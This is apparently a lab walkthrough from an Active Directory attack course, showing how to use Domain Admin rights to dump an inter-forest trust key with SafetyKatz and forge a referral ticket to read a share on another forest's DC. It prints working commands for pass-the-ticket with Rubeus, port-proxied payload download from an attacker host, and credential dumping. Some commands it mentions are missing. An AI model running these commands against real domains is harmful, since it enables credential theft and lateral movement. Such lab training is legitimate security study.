20 - LO2️0️

Learning Object 20

Tasks

1 - With DA privileges on dollarcorp.moneycorp.local, get access to SharedwithDCorp share on the DC of eurocorp.local forest

Flag 31 [eurocorp-dc] - Service for which a TGS is requested from eurocorp-dc 🚩

Flag 32 [eurocorp-dc] - Contents of secret.txt on eurocorp-dc 🚩

Solutions

1 - With DA privileges on dollarcorp.moneycorp.local, get access to SharedwithDCorp share on the DC of eurocorp.local forest

We need the trust key for the trust between dollarcorp and eurocrop, which can be retrieved using Mimikatz or SafetyKatz.

Start a process with DA privileges. Run the below command from an elevated command prompt:

First to all start a process as DA:

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

Run the below commands from the process running as DA to copy Loader.exe on dcorp-dc and use it to extract credentials:

echo F | xcopy C:\AD\Tools\Loader.exe \\dcorp-dc\C$\Users\Public\Loader.exe /Y
winrs -r:dcorp-dc cmd
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.67
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe -args "lsadump::evasive-trust /patch" "exit"

Let's Forge a referral ticket.

Note that we are not injecting any SID History here as it would be filtered out. Run the below command:

Copy the base64 encoded ticket from above and use it in the following command:

Once the ticket is injected, we can access explicitly shared resources on eurocorp-dc.

Note that the only way to enumerate accessible resources (service on a machine) in eurocorp would be to request a TGS for each one and then attempt to access it.

Flag 31 [eurocorp-dc] - Service for which a TGS is requested from eurocorp-dc 🚩

Based on the following command:

cifs is the service for which a TGS is requested from eurocorp-dc.

Flag 32 [eurocorp-dc] - Contents of secret.txt on eurocorp-dc 🚩

Dollarcorp DAs can read this!

Last updated